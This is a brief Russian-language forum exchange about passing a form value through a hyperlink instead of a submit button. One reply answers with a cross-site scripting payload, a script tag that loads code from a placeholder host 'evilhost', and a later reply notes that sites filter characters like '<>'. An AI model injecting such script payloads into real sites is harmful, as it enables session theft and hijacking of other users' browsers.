Допустим на форме у нас есть text box, вводим информацию и нажимаем на кнопку отправить. Всё работает.
А возможно ли передать переменную вместе через гиперссылку нажав именно неё а не на кнопку?

<script src=http://evilhost/xss_code.js/</script>

А если java в броузере отключена

Тогда мороз =))
А вообще на любом нормальном сайте
запрещенно вводить спец. символы (<>)